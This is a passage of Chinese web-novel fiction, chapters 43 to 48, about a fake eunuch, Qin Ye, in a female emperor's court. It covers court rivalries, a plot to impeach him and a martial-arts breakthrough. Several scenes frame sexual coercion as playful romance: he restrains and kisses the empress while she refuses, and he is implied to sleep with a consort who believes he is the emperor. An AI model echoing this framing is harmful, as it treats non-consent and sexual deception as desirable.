《女帝太开放，我的假太监马甲不保》 第四十三章 去趟司马府 上官瑾一愣，这突如其来的亲昵让她有些不适应。但那份真挚的关心，却让她心头一暖。自父皇撒手人寰以来，还是第一次有人如此真心实意地关心她。 “你要去司马府？”上官瑾问道，声音中带着一丝不易察觉的失落。 “是啊，晚膳就不用等我了。”秦烨起身道，“为了给陛下拉拢人马，奴婢只能勤于周旋了，届时司马辉应该会留我吃饭。” 看着秦烨离去的背影，上官瑾心中莫名空落落的。这种感觉很陌生，让她有些不知所措。秦烨走出承明殿，伸了个懒腰，“沈化林，陪我去趟司马府。” “是，公子。”沈化林从阴影处走出，恭敬地应道。 两人沿着宫道缓步而行，脚步声在空旷的宫道上回荡。路过的宫女太监纷纷低头行礼，却又忍不住偷偷打量这位权倾朝野的男人。 “公子，”沈化林突然开口，“司马府那边已经打探清楚了。今晚确实有不少人在府上。” 秦烨点点头，“都有谁？” “武部侍郎柳守礼、仪部侍郎赵景守、典仪寺卿秦承武……”沈化林一一报来。 “看来司马辉是想借今晚的宴会，聚拢一批人啊。”秦烨眯起眼睛，嘴角勾起一抹意味深长的笑意。 “公子要小心。”沈化林提醒道，“司马府内高手众多。” 秦烨摆摆手，“无妨。今晚，就让他们见识见识，什么叫真正的高手。” 司马府的前厅内，人声鼎沸。 金碧辉煌的大厅中，锦衣华服的达官显贵们三三两两聚在一起，谈笑风生。茶香袅袅，觥筹交错间尽是奉承恭维之声。他们都在等待着一个机会，一个能见到司马辉的机会。 秦烨站在朱漆大门外，目光透过雕花门窗扫过厅内众人。这些人或是朝廷命官，或是富商巨贾，但此刻都只能在这里干等着。阳光斜斜地洒在门廊的青石板上，在地面投下细碎的光影。 “呵，司马辉啊司马辉，你还真是好大的架子。”秦烨心中暗笑，眼底闪过一丝玩味。 他整了整衣襟，迈步走进前厅，身后跟着一个随从。周围的人只是随意瞥了一眼这个衣着普通的年轻人，便收回目光继续他们的谈笑。 大厅内的空气略显闷热，混杂着各种香料的气味。秦烨微微皱眉，叫住一个匆匆路过的仆人：“劳烦通报一声，就说秦烨求见。” 那仆人穿着绣着司马家徽的青色短打，闻言上下打量了秦烨一眼，眼中闪过一丝不屑：“秦烨？你是哪个秦烨？” “司礼总管秦烨。” 此言一出，周围顿时响起一阵哄笑声。笑声在宽阔的大厅内回荡，显得格外刺耳。 “司礼总管？就你？”一个身着锦袍的年轻公子踱步走来，指着秦烨，笑得前仰后合，“我看你是在说梦话吧？就凭你这身打扮？” “就是，司马家主岂是你想见就能见的？”另一人也凑上前来，“我等候了大半日都未能见到家主一面，你倒好，张口就要见？” 秦烨神色平静，仿佛没听见这些嘲讽，只是看着那个仆人：“去通报吧。” 那仆人被周围人的笑声感染，挺直了腰板，一脸不屑：“家主日理万机，岂是什么阿猫阿狗都能见的？你若是识相，就赶紧离开。” “阿猫阿狗？”秦烨眯起眼睛，眼底闪过一丝寒意。大厅内的温度仿佛骤然降低了几分。 就在这时，一个熟悉的身影从内院的回廊处匆匆走来。老者身着管家服饰，头发花白，脸上带着岁月的痕迹。 “秦公子？”老赵快步走上前，恭敬地行礼，额头上沁出细密的汗珠，“您怎么来了也不提前说一声？老朽好去门口迎接。” 四周顿时鸦雀无声。 那些刚才还在嘲笑的人，此刻脸上的笑容全都凝固了。他们面面相觑，有人悄悄后退几步，想要远离是非。 “赵管家。”秦烨微微颔首，目光扫过那个仆人，“我本想让这位小哥通报一声，但他说我是阿猫阿狗，不配见司马家主。” 老赵脸色一沉，额头的青筋突突直跳：“来人！把他拉下去重打二十大板，发去后院做粗活！” 那仆人吓得双腿一软，跪地求饶：“赵管家饶命啊！小的有眼不识泰山……” “秦公子，主人此刻正在书房里接待贵客，我这就去通报。”老赵转身对秦烨说道，额头的汗珠更密了，“您先到偏厅稍坐，老朽这就让人备茶。” 秦烨点点头，跟着老赵往内院走去。青石板铺就的小径两旁，名贵的花木错落有致。 身后传来一阵窃窃私语。 “原来真是司礼总管……” “完了完了，刚才我还笑话他……” “这下可惹了大麻烦……” 秦烨嘴角微微上扬。这些人现在知道害怕了，可惜已经晚了。脚步声在回廊中回响，带着一丝若有若无的威压。 书房内，司马辉正与几位权贵谈话。檀木书案上摆着几盏香茗，茶香四溢。 “陛下最近对我司马家似有不满……”司马辉叹了口气，手指轻轻敲击着桌面。 这时老赵进来禀报：“家主，秦烨求见。” “秦烨？”秋官寺卿卫秋猛地站起身，“就是那个在玉华阁大出风头的小子？” “正是。”老赵低着头，不敢看卫秋阴沉的脸色。 “哼，一个小小的总管，也敢来司马府放肆？”卫秋冷哼一声，袖子一甩，“家主，此人狂妄自大，不可轻信……” 其他几位权贵也是面露不悦。那日在玉华阁，秦烨让他们的子侄颜面尽失，这个仇他们可都记着呢。有人握紧了拳头，有人眼中闪过怒火。 “这秦烨来此作甚？”端木眉头紧锁。 作为禁军总戎，执掌京师十万大军的三军，端木正向来眼高于顶。他祖上是开国功臣，如今更是贵为公爵，对一个小小太监自是不屑。 “端木大人何必动怒，这厮不过是个阉人罢了。”左都御史柳富贵放下手中的茶盏，冷笑着说道。自从玉华阁那日，秦烨让他们子侄出丑后，这些权贵对秦烨便心存芥蒂。 “是啊，一个太监而已，也配让端木大人动气？”秋官寺卿卫秋附和道，眼中闪过一丝轻蔑。 司马辉端坐在主位上，听着众人的议论，轻轻摆了摆手：“诸位莫要轻视，此人可是陛下身边红人。”他转头对站在一旁的老管家吩咐道：“老赵，去请秦公子进来。” 老赵躬身应是，快步而去。柳富贵等人虽心有不满，却也不好多说什么，只得黑着脸坐在那里。书房内一时陷入沉默，只有茶香袅袅升起。 不多时，脚步声由远及近。秦烨跟随老赵穿过回廊，来到司马府的书房。推门而入，只见司马辉正与几位官员围坐在案几旁，烛光映照下，几人的面容忽明忽暗。 “叔父大人。”秦烨拱手见礼，声音清朗。 “哈哈，贤侄来访，甚好甚好。”司马辉笑着起身相迎，目光中带着几分审视，“许久不见，今日来此有何要事？” 第四十四章 举荐司马无畏 “无事不登三宝殿，今日确有一事相商。”秦烨微笑道，目光扫过在座诸人。 “请坐请坐。”司马辉做了个请的手势，又向秦烨介绍道：“这位是禁军总戎端木正端木大人。” 端木正只是冷哼一声，连个眼天京懒得给，手中的茶盏重重放在桌上，发出一声闷响。 “这位是左都御史柳富贵郭大人。” 柳富贵勉强点头示意，眼中的不屑几乎要溢出来。 “这位是秋官寺卿卫秋卫大人。” 卫秋倒是客气地拱了拱手，但眼角的笑意却未达眼底。 秦烨不卑不亢地一一回礼，目光却若有若无地落在案几上摊开的卷宗上。那些纸张上密密麻麻写满了字迹，边角还有不少批注。 “诸位大人在议事？”秦烨状似随意地问道。 “正在商议云州大将军人选。”司马辉叹了口气，眉宇间浮现出几分愁绪。 秦烨眼中精光一闪：“不知诸位大人意下如何？” “哼，军国大事，就凭你？也想横插一脚？做梦呢！？”端木正猛地站起身来，袖子一挥，茶水洒落在地。 秦烨不以为意，转向司马辉道：“叔父，依侄儿之见，司马无畏兄长最为合适。” “无畏确实是不二人选。”柳富贵摇头道，手指轻轻摩挲着茶杯边缘，“可惜陛下不愿启用。” “是啊。”卫秋也叹息道，“端木公子虽也不错，但武道修为差了些。”话音未落，便感受到端木正投来的冰冷目光。 端木正闻言脸色一沉，拳头攥得咯咯作响，却无法反驳。他儿子的武道天赋确实平平，这是众所周知的事实。 司马辉看了看窗外渐暗的天色，苦笑道：“陛下对我司马氏防备甚深，此事怕是难了。” 秦烨嘴角微扬：“叔父莫急，事在人为，我已在陛下面前极力推荐了无畏兄长。” “你一个阉人，懂什么？”端木正冷笑着，眼中闪过一丝狠厉，“莫要在这里装腔作势。” 秦烨目光如电，直视端木正：“我虽是太监，但在此事上，比你更有用。” “大胆！”端木正勃然大怒，一掌拍在桌上，茶盏翻倒，茶水四溅。 “贤侄此话何意？”司马辉连忙打圆场，同时给了端木正一个安抚的眼神。 秦烨正欲开口，忽听外面传来急促的脚步声，由远及近。 老赵快步进来，脸上带着几分惊慌，在司马辉耳边低语几句。 司马辉面色一变：“圣旨到？” 书房内众人齐齐起身，衣袍簌簌作响。烛光摇曳，在墙上投下晃动的影子。 只见一名太监捧着明黄色圣旨大步而入，身后跟着几名内侍。他站定后，高声宣读：“奉天承运皇帝诏曰：今云州边境事务繁重，需得能臣镇守。兹命司马无畏为云州大将军，即日启程赴任……” 宣读完毕，书房内一片寂静。众人面面相觑，皆是不敢置信。端木正的脸色由红转青，额头上青筋暴起。柳富贵和卫秋也是神色复杂，目光不停在秦烨和司马辉之间游移。 司马辉更是震惊地看向秦烨，眼中满是难以置信。这个结果，完全出乎他的意料。 秦烨微微一笑：“叔父，我说过，在此事上，我比某些人更有用。” 端木正的脸色瞬间阴沉下来，眼角跳动，一股怒气直冲脑门。他死死盯着眼前这个不知天高地厚的年轻太监，咬牙切齿道：“你这是在找死！” 秦烨站在那里，神色从容。他的目光扫过端木正那张因愤怒而扭曲的脸，嘴角微微上扬，眼中闪过一丝戏谑。大殿内的阳光透过窗棂斜斜洒落，在他身上镀上一层淡金色的光晕。 “成国公，您这话说得可就不对了。”秦烨不紧不慢地说道，声音不疾不徐，“在这朝堂之上，谁不知道您是位高权重的勋贵？可惜啊，这次的事情，恐怕还真轮不到您来做主。” 端木正的拳头攥得咯咯作响，青筋在他粗壮的手臂上蜿蜒盘踞。他的胸膛剧烈起伏，显然在极力压抑着怒火。“一个阉人，也敢在本官面前如此放肆？” “阉人？”秦烨轻笑一声，眼底闪过一丝不易察觉的冷意，“在下虽是太监，但至少还能为陛下分忧。倒是某些人，徒有虚名，连一点小事都办不成。” 这话说得极为刁钻，端木正的脸色更加难看，额头上的青筋突突直跳。大殿内的气氛顿时凝重起来，仿佛随时会爆发一场激烈的冲突。 司马辉站在一旁，眼中精光闪烁。作为朝中老臣，他一眼就看出秦烨言语中的深意。这个年轻太监，显然是有所依仗。他暗自思忖，这秦烨能在端木正面前如此放肆，背后必定有不简单的靠山。 “诸位大人，”司马辉适时开口，声音温和地打圆场，“后园已备下酒宴，不如移步一叙？今日难得聚在一起，何必为些小事伤了和气？” 卫秋一直在旁边看着这场剑拔弩张的对峙，此时听到“酒宴”二字，顿时来了精神。他搓了搓手，笑眯眯地问道：“司马大人，可有松鼠桂鱼？那可是我的最爱。” “自然备了。”司马辉微笑道，“还特意让厨子多做了几条。” “那敢情好！”卫秋眼睛一亮，起身就往外走，“我先去占个位置，可不能让别人抢了去。”说着，他那圆滚滚的身影已经消失在门口。 端木正冷哼一声，袖子一甩，大步流星地离开了大殿。他的背影透着一股难掩的怒气，脚步声在空旷的殿内回响。 其他官员见状，也纷纷告退。很快，偌大的殿内就只剩下了司马辉和秦烨两人。 司马辉转向秦烨，目光中带着几分探究：“贤侄此来，所为何事？” “蛊。”秦烨只吐出一个字，声音低沉而凝重。 司马辉的眉头瞬间紧锁，眼中闪过一丝忧虑：“可是查到什么线索了？” “不过是窥见一角。”秦烨轻叹一声，“但以小侄一己之力，恐难深入。故而想请大人相助。” “这是自然。”司马辉拍着胸脯保证，“蛊虫一事关系重大，老夫定当尽心调查。” 秦烨微微一笑：“那小侄就先谢过大人了。至于云州之事……” “贤侄放心，老夫明白。”司马辉打断道，“不过是举手之劳。” “叔父大人误会了。”秦烨正色道，目光坚定，“无畏兄确实是云州最佳人选，这并非权宜之计。” 司马辉眼中闪过一丝诧异，随即笑道：“既如此，那就有劳贤侄在陛下面前美言几句了。”虽然嘴上这么说，但他心里并不抱太大希望。一个太监的话，能有多大分量？不过这个秦烨，倒是个可造之材。若非他是个太监，倒真想收为义子。 “贤侄，后园已备下酒宴，一同前去如何？” “叔父相邀，自当奉陪。” 后园中，花香四溢，微风拂面。端木正坐在一处凉亭内，一口饮尽杯中酒，咬牙切齿道：“真是世风日下，区区太监也敢如此放肆！” 第四十五章 陛下在沐浴 “成国公何必动怒？”左都御史柳富贵笑道，“这秦烨虽是太监，但确实有几分本事。先是在玉华阁让柔木氏公主开怀，又能成为陛下面前的大红人，倒也不是寻常人物。” “哼！”端木正正要发作，忽见司马辉领着秦烨走来。 “贤侄请坐。”司马辉热情招呼。 “身为朝廷重臣的我，岂能与阉人同席？”端木正腾地站起，脸上写满了不屑。 “成国公息怒……”卫秋放下手中的松鼠桂鱼，连忙劝道。 端木正却不理会，冷声道：“司马兄，我酒意上头，先行告退。”说完拂袖而去，背影透着一股说不出的怒气。 “成国公怕是醉了。”卫秋打着圆场，又夹了一块鱼肉送入口中。 司马辉虽有不悦，但还是对秦烨笑道：“贤侄莫要介意。” “无妨。”秦烨淡然一笑，举杯饮酒。 酒过三巡，菜过五味，宾主尽欢。园中的花香与美酒的醇香交织在一起，让人心旷神怡。 待到夜深，秦烨告辞回宫。月光如水，洒在青石板路上，映出他修长的身影。 承明殿内，寝殿的浴室中，上官瑾正在沐浴。温热的水汽氤氲，她那完美的身段若隐若现，空气中弥漫着淡淡的花香。水珠顺着她如玉的肌肤滑落，在烛光下闪烁着诱人的光芒。 秦烨来到殿外，习惯性地抬手欲叩门，却想起今日陛下的吩咐，便直接推门而入。守在外面的太监们看到这一幕，不禁羡慕。也只有秦公公，才有这样的殊荣了。 然而进入大殿后，秦烨却发现殿内空无一人。烛火摇曳，在墙上投下跳动的影子。他四处寻找，却不见上官瑾的身影。 “奇怪，人去哪了？”秦烨喃喃自语，眉头微皱。殿内安静得出奇，只能听见他的脚步声在地板上轻轻回响。 秦烨漫步在承明殿内，目光四处搜寻着女帝的身影。宫殿内檀香袅袅，烛光摇曳，却不见那道熟悉的身影。 他先是走向书房，案几上的奏折整齐摆放，朱砂印泥依旧温热，显然女帝刚刚才批阅完毕。茶盏中的茶水尚有余温，氤氲的水汽在空气中缓缓散开。 床榻上锦被整齐，枕头上还留有一丝淡淡的发香。秦烨伸手抚过床榻，丝绸的触感柔滑，仿佛还能感受到那人的余温。 “陛下这是躲到哪里去了？”他轻声自语，眉头微蹙。 就在这时，一阵轻微的水声传入耳中，伴随着若有若无的兰花香气。声音从内室传来，秦烨眼中闪过一丝了然。 “原来在这里。”他嘴角勾起一抹意味深长的笑意，“看来是撞见了陛下沐浴的好时机。” 水汽氤氲的浴室内，上官瑾慵懒地靠在池边，任由温热的水流包裹着她的身体。她修长的玉腿时不时撩动着池中的花瓣，溅起细小的水花。 青丝如瀑般散落，衬得那张倾城容颜更添几分魅惑。平日里束缚的裹胸早已褪去，露出那傲人的曲线。她轻轻揉按着胸前，试图缓解一整天紧束的不适。 “啧，这该死的礼服。”她低声抱怨着，完全没有察觉到暗处那双带着笑意的眼睛。 秦烨站在门外，透过薄薄的纱帘，将这难得一见的美景尽收眼底。他的呼吸不自觉地加重了几分，喉结轻轻滚动。 突然，一块木板发出轻微的“吱呀”声。 “谁？”上官瑾警觉地抬头，迅速沉入水中，只露出一张俏脸。她的眼中闪过一丝戒备，“是哪个不长眼的奴才，竟敢擅闯朕的浴室？” “是我，陛下。” 秦烨索性推门而入，大大方方地站在池边。烛光映照下，他的身影在水面上投下一道修长的阴影。 “你……你怎么这么快就回来了？”上官瑾俏脸微红，声音中带着几分慌乱。她下意识地往水中又沉了几分。 “司马家的事情已经办妥，自然要赶回来向陛下复命。”秦烨笑着打量着眼前的美人，“不过看这情形，陛下似乎很期待我回来？” “胡说八道！”上官瑾恼羞成怒，“还不快出去！” 水花四溅中，她想要起身去拿浴巾，却又顾忌着眼前的男人，只能尴尬地停在原地。 “陛下不是说过，让我进出承明殿不必通报吗？”秦烨不紧不慢地说道，目光却始终没有离开水中的倩影。 “那是……那是我一时糊涂了！”上官瑾咬着红唇，“你若再不出去，朕就叫侍卫了！” “陛下确定要在这种情况下叫人进来吗？” 上官瑾语塞，她此刻的模样要是被外人看到，这后宫还不知道要传出什么闲言碎语。 秦烨看着她窘迫的模样，心中暗笑，却也不再多做纠缠，“那臣就在外面恭候陛下。” 他转身走出浴室，却并未走远，而是靠在门边等待。没过多久，上官瑾便披着一件单薄的睡袍走了出来。 青丝还带着水汽，几滴水珠顺着发梢滑落，在锁骨处汇聚成溪。胸前的曲线在薄纱下若隐若现，比他见过的任何美人都要惊人。 【比司马玉华和陈雅韵的都要出色。】秦烨忍不住在心中感叹。 “你在看什么？”上官瑾察觉到他灼热的目光，俏脸一红。她抬脚就要踢向秦烨，却忘了自己根本不是他的对手。 秦烨轻松地擒住她的玉足，手指不经意间划过她的脚踝，“陛下这是要踢哪里啊？” “哼，朕想踢哪里就踢哪里！”上官瑾挣扎着，却被秦烨一把搂入怀中。他的体温透过薄薄的睡袍传来，让她不自觉地颤栗。 “陛下要是把那里踢坏了，可就没人伺候您了。”秦烨在她耳边低语，温热的气息拂过她的耳垂。 “谁、谁要你伺候了！”上官瑾羞恼交加，却无法挣脱秦烨的怀抱。她能感觉到他的手掌正不安分地游走，“你这个登徒子，快放开朕！” “陛下的身材当真是绝佳。”秦烨的手掌在她腰间流连，感受着那盈盈一握的柔软。 “放开朕！”上官瑾挣扎得更加厉害，却只是让自己的睡袍更加凌乱。 “陛下现在还能动的地方，只剩下这张小嘴了。”秦烨说着，俯身吻向她的红唇。 上官瑾慌忙偏头，他的吻落在了她雪白的颈间。温热的唇瓣在她颈间流连，激起一阵酥麻。 “陛下躲什么？” “朕才不要和你……唔……”话未说完，秦烨已经在她颈间轻咬一口，留下一枚暧昧的红痕。 “你、你做什么？”上官瑾慌乱地推开他，跑到镜前。 “给陛下留个印记。”秦烨笑着说道，“让陛下记住，这承明殿里，不只有一个主人。” 上官瑾的脸色瞬间变得煞白，纤细的手指不自觉地抚上脖颈处那一抹暧昧的红痕。殿内烛火摇曳，在她白皙的肌肤上投下斑驳的光影。 “秦烨，你这是在干什么？”她的声音里带着一丝颤抖，眼神中闪过慌乱与恼怒交织的复杂情绪。 第四十六章 凶多吉少 秦烨倚在朱漆雕花的柱子上，嘴角勾起一抹玩味的笑意，“谁让陛下不让我亲的？这下好了，脖子上留下了印记。”他的目光肆无忌惮地在上官瑾身上游走，仿佛在欣赏自己的杰作。 “你……你……”上官瑾气得说不出话来，玉足在地上跺了几下，华贵的龙袍下摆随着她的动作轻轻晃动。殿内檀香缭绕，更添几分旖旎暧昧的气息。 她深吸一口气，压低声音道：“你这让朕如何面对朝臣？他们若是看到了这个，该作何想？”眉宇间染上一抹愁色，手指不自觉地绞着衣袖。 “看到了又如何？”秦烨不以为然地耸耸肩，迈着悠闲的步子向她走去，“就当是陛下与宫中嫔妃欢好时留下的痕迹便是。再说，这深宫内院，谁敢多嘴多舌？” 上官瑾闻言更是恼怒，粉拳朝着秦烨胸口砸去。她的动作看似凌厉，却带着几分刻意放轻的力道，仿佛是在撒娇多过发怒。 秦烨眼疾手快，一把攥住她的手腕。两人距离瞬间拉近，他能清晰地看到她眼中的慌乱，以及那一抹藏不住的娇羞。烛光下，她的睫毛微微颤动，像是惊慌的蝴蝶。 “要不要再来几个？”秦烨坏笑着凑近，温热的呼吸拂过她的耳畔。 “不行！”上官瑾慌忙后退，这才意识到自己大意了。靠近这头色狼，简直就是羊入虎口。可惜已经晚了，她的后背抵上了冰凉的宫墙，再无退路。 秦烨的身影笼罩而来，她再也无处可逃。殿内的烛火似乎变得更加暧昧，将两人的影子拉得很长很长…… 夜色渐深，宫墙之外的汴城依旧灯火通明。 御医署内，一盏孤灯在药炉旁摇曳。赵马康正专注地配制着药材，神情格外凝重。药炉中的汤药咕嘟咕嘟冒着泡，散发出浓郁的药香。 “啪嗒、啪嗒……” 脚步声由远及近，一个小童快步走进来，衣衫略显凌乱，显然是一路跑来的。他对着赵马康深深一揖，气喘吁吁地说道：“院长，秦武德还是没找到。自从今日送完药后，就像人间蒸发了一般。” 赵马康手上的动作一顿，眉头微皱。药勺轻轻搅动着炉中的汤药，发出细微的声响。 小童忧心忡忡道：“院长，我族叔他……该不会出事了吧？”声音中带着掩饰不住的担忧。 “怕是凶多吉少。”赵马康叹了口气，目光落在跳动的火苗上，“他今日是和秦烨一同出去的？” “正是。”小童咬牙切齿，拳头攥得指节发白，“这个秦烨，简直贪得无厌！明明已经得到那么多好处，却还要……” 赵马康冷笑一声，打断了小童的话：“你族叔秦武德也好不到哪去。多半是私吞了秦烨的好处，又说了些不该说的话，这才惹来杀身之祸。” “可是……”小童脸色一变，额头渗出细密的汗珠。他当然知道族叔确实吞了秦烨的好处，但这也不能成为杀人的理由。 “这秦烨也太猖狂了！”小童愤愤不平地说道，声音中带着几分恐惧。 “确实不能让他如此嚣张下去。”赵马康眼中闪过一丝寒光，将药勺放在一旁的托盘上，发出清脆的声响，“对了，成国公那边如何？” “差点忘了！”小童连忙道，“成国公已经答应合作，只是想请院长亲自过去谈谈。他说这事关重大，必须当面详谈。” 赵马康立刻起身，整了整衣袍：“这些药材你来看着，我立刻动身，拜见成国公大人。记住，炉火要控制得当，药材的火候一点都马虎不得。” 成国公府。 灯火通明的后园中，浓郁的酒气扑面而来。端木正独自一人坐在凉亭里，面前摆着几个空酒坛，还有一碗醒酒汤。 赵马康眉头一挑，看来端木正今日心情确实不佳。他缓步走进凉亭，开口道：“成国公。” “赵兄请坐。”端木正端着醒酒汤，脸色阴沉如水。月光下，他的面容显得格外憔悴。 “成国公今日为何独饮？”赵马康在石凳上坐下，目光落在那些东倒西歪的酒坛上。 “哼！”端木正将醒酒汤重重摔在地上，瓷碗碎裂的声响惊起几只夜鸟，“还不是因为那个该死的太监秦烨！” 他将今日在司马府发生的事情一五一十地说了出来，说到激动处，脸上青筋暴起，手指狠狠地掐进掌心。 “皇上靠不住，司马家也靠不住。现在这些阉人都敢骑在我们头上作威作福了！”端木正咬牙切齿地说道，眼中闪烁着愤怒的火光。 赵马康眼中精光一闪：“正因如此，我们更要同气连枝。这世道，一个人的力量终究有限。” “说得对。”端木正重重点头，酒意似乎也清醒了几分。 “那么，我倒是有个除掉秦烨的妙计，就当是合作的见面礼。”赵马康压低声音，目光在四周扫视一圈。 端木正眼睛一亮，身子不自觉地前倾：“愿闻其详。” “秦烨一直在宫中倒卖御库物品，收取高额回扣。上任司礼总管短短数日，贪污数额惊人。只要成国公上本弹劾，有了铁证在手，他必死无疑。”赵马康从袖中取出一叠文书，轻轻放在石桌上。 “这些罪证……”端木正小心翼翼地翻看着文书，眼中的惊喜越来越浓。 “就当是我送给成国公的礼物。”赵马康淡淡一笑。 端木正大喜过望：“多谢赵兄！有了这些，定要让那秦烨死无葬身之地！” 赵马康嘴角勾起一抹冷笑。月光下，他的眼神晦暗不明。 秦烨，这次看你如何脱身。至于端木正，不过是他手中的一枚棋子罢了。这种蠢货，最适合当枪使。 夜色如墨，笼罩着整座皇宫。深秋的寒意悄然渗透入宫墙内外，偶有几片枯黄的落叶随风飘落，在青石板上打着旋儿。承明殿内灯火通明，檀香袅袅。十几盏琉璃宫灯将殿内照得一片明亮，映衬着那些精美的雕梁画栋，更显富丽堂皇。 上官瑾正伏案批阅奏章，纤细的手指不时翻动着厚重的纸张。她身着一袭明黄色龙袍，乌黑的秀发高高挽起，发间点缀着几颗明珠，愈发衬托出那张倾城容颜。 今夜她没有翻牌子，倒是难得的清净。案头堆积如山的奏折，却让她眉宇间蒙上一层淡淡的疲惫。 秦烨斜倚在一旁的软榻上，手中捧着一本泛黄的秘籍，眉头紧锁。烛光在他脸上投下明暗不定的光影，衬得他的神情愈发深沉。 这是一本名为《七星养气诀》的武学秘籍，纸张已经泛黄发脆，边角处还有些许残损。字迹虽然依稀可辨，但也因年代久远而显得有些模糊。 作为一名医者，他的医术自然是不在话下。但说到武功修为，却着实有些寒碜。虽说对付上官瑾这样的女子绰绰有余，但若是遇上江湖上那些真正的高手，恐怕就要吃亏了。 “想要练成这门绝学，哪有那么容易，若想成功，必先……” 第四十七章 少管闲事 秦烨目光在这行字迹上停留许久，手指不自觉地摩挲着纸张边缘。忽然，一个可怕的念头在脑海中闪过。 莫非是要自宫？ 这念头刚一冒出来，他就忍不住打了个寒颤，浑身的汗毛都竖了起来。下意识地并拢双腿，手中的秘籍都差点掉在地上。 “怎么了？”上官瑾察觉到他的异样，抬起头问道。 秦烨没有回答，赶紧翻到下一页。当看清上面写着“打通玄阳心脉”时，他顿时松了一口气，紧绷的身体也随之放松下来。 “没什么，继续看你的奏章。”他摆了摆手，重新将注意力集中在秘籍上。 原来这七星养气诀共分九重，每一重都需要打通体内的经脉。而玄阳心脉，不过是最基础的开始。秘籍上详细记载了修炼的步骤和注意事项，还有前人的心得体会。 “寻常人穷其一生，连第一层境界都卡得死死的……” “即便是天赋绝顶的武道天才，打通玄阳心脉也需一年……” 看着这些批注，秦烨陷入沉思。殿内一时寂静无声，只有上官瑾翻动奏章的细微声响。 突然，他眼前一亮，猛地坐直了身子。 既然是打通经脉，那不正是他最擅长的领域吗？针灸之术，通经活络，这不正是现成的捷径？ 想到这里，秦烨站起身来，开始在殿内来回踱步。脚步声在空旷的大殿内回响，惊动了正在批阅奏章的上官瑾。 “你这是怎么了？”上官瑾放下手中的朱笔，美眸中带着关切。 “女人家的，少管闲事。”秦烨故作威严道，但眼中却闪过一丝兴奋的光芒。 上官瑾轻哼一声，低头继续批阅奏章。但余光却始终注意着秦烨的动静。 秦烨开始按照秘籍上的要求，演练起来。他的动作并不快，每一个姿势都力求准确。渐渐地，他感觉体内有一股暖流在缓缓流动。 片刻之后，他开始解衣。 “你……你这是做什么？”上官瑾俏脸通红，慌忙别过头去。 “练功啊。”秦烨一边说着，一边从袖中取出银针。这些银针都是他平日里给人治病用的，此刻却要用在自己身上。 “你疯了不成？”上官瑾惊呼，“这深更半夜的，你要是出了什么意外……” “放心，我有分寸。”秦烨打断了她的话，“我过去好歹也是御医署院使，这点本事还是有的。” 说着，他开始在自己身上施针。每一根银针都精准地刺入穴位，配合着功法运转真气。 果然，在针灸之术的辅助下，经脉疏通得异常顺利。那些原本需要一年才能打通的经脉，在他的针法下变得畅通无阻。 上官瑾看得心惊肉跳，生怕他出什么意外。她放下奏章，站在一旁紧张地看着。 约莫一炷香的功夫，秦烨只觉体内一股暖流流转全身。那种感觉说不出的舒畅，仿佛浑身的毛孔都张开了一般。 “陛下，退后些。”秦烨突然开口提醒道。 上官瑾依言后退几步，美眸中满是担忧。 只见秦烨丹田一震，一股气劲迸发而出。插在他身上的银针纷纷飞出，发出“嗖嗖”的破空声，准确地钉入了殿内的梁柱之中。 “成了！”秦烨脸上露出喜色，额头上的汗珠在烛光下闪闪发亮。 这一次尝试，让他看到了希望。那些在秘籍上被描述为“难于登天”的修炼过程，在他这个医者手中，竟变得如此简单。 或许，这七星养气诀，并非如前人所说那般艰难。至少，对他来说不是。 “你没事吧？”上官瑾小心翼翼地问道，美眸中满是关切。 “放心，我好得很。”秦烨笑道，伸手将那些钉在梁柱上的银针一一取下，“不过这才是第一步，接下来还要继续修炼。” “那你小心些。”上官瑾叮嘱道，“若是觉得不适，一定要及时停下。” 秦烨点点头，开始穿衣。他能感觉到，体内的经脉比之前通畅了许多，真气运行也更加自如。 秦烨望着眼前的一幕，嘴角不自觉地扬起一抹笑意。经脉被打通后，他的五感变得异常敏锐，连空气中细微的尘埃都能清晰可见。秦烨能感受到体内真气流转，带来一阵阵暖意。 尤其是眼前这位刚刚和自己共赴云雨的美人，更是让他血脉喷张。上官瑾身着一袭淡青色宫装，衣襟微敞，露出白皙的锁骨，随着呼吸微微起伏。 秦烨眼神肆意地打量着眼前的美人，目光在她身上游走。修炼七星养气诀带来的变化不仅仅体现在武道上，更让他感受到一股难以抑制的冲动。 “秦烨，你，你又怎么了？”上官瑾察觉到秦烨炙热的目光，俏脸瞬间染上一抹红晕，连忙后退两步，“你别过来！”她的声音带着一丝颤抖。 秦烨嘴角勾起一抹邪魅的笑容：“你越是这样，我就越想靠近。”突破第一重境界后的秦烨，身法变得更加敏捷，三两步就追上了上官瑾。 殿内的气氛变得暧昧起来，空气中似乎都弥漫着一股燥热。上官瑾被秦烨逼到墙角，呼吸急促，胸口剧烈起伏。 “你刚才不是已经……”上官瑾刚要开口，一个柔美的声音从殿外传来，打破了这份暧昧。 “陛下，可以进来吗？”是司马玉华的声音，带着几分娇柔。 秦烨松开了手，上官瑾赶紧整理凌乱的衣衫，平复急促的呼吸。她的脸颊依旧泛着红晕，眼中还带着几分慌乱。 “爱妃有何事？”秦烨转身面向殿门，声音恢复了往日的威严。 “臣妾听说陛下今晚未曾翻牌子，担心陛下寂寞，特来侍寝……”司马玉华的声音透着几分羞涩。 上官瑾暗骂一声“浪蹄子”，却也明白司马玉华无意中救了自己。她瞪了秦烨一眼，示意他快去应付皇后。 秦烨却不依不饶：“我就要陛下。”他的声音压得极低，带着几分蛊惑。 “朕怎会看上你这样的奴婢！”上官瑾强装镇定，但耳根已经红透。 “是吗？”秦烨凑近上官瑾耳边，温热的气息喷洒在她的耳畔，“要不然，咱们三个一起？” “你……”上官瑾羞得说不出话来，玉手紧握成拳，却不知该打还是该推开他。 殿外的司马玉华又轻轻叩门：“陛下？” “进来吧。”上官瑾连忙应道，声音还带着几分颤抖。 秦烨见状，迅速躲到屏风后。屏风上绣着祥云瑞兽，在烛光下投下斑驳的影子。 司马玉华款款走入殿内，一袭红色宫装衬得她肤若凝脂。她看了看四周，似乎察觉到了什么异样，但并未多言。 夜色渐深，承明殿内灯火熄灭。司马玉华躺在龙塌上，等待沐浴的上官瑾归来。床帐轻轻摇曳，映着烛光投下暧昧的影子。 不多时，一道身影悄然上了龙塌。司马玉华轻唤一声“陛下”，来人没有说话，只是用行动回应。 第四十八章 状告秦烨 这一夜格外漫长。整整四个时辰后，司马玉华才沉沉睡去。而在一旁偷看了整晚的上官瑾，也是昏昏欲睡。 次日清晨，阳光透过窗棂洒入殿内。司马玉华春风满面地离开承明殿时，秦烨还在自己的房间里沉睡。而上官瑾强打精神去上早朝，眼底带着几分疲惫。 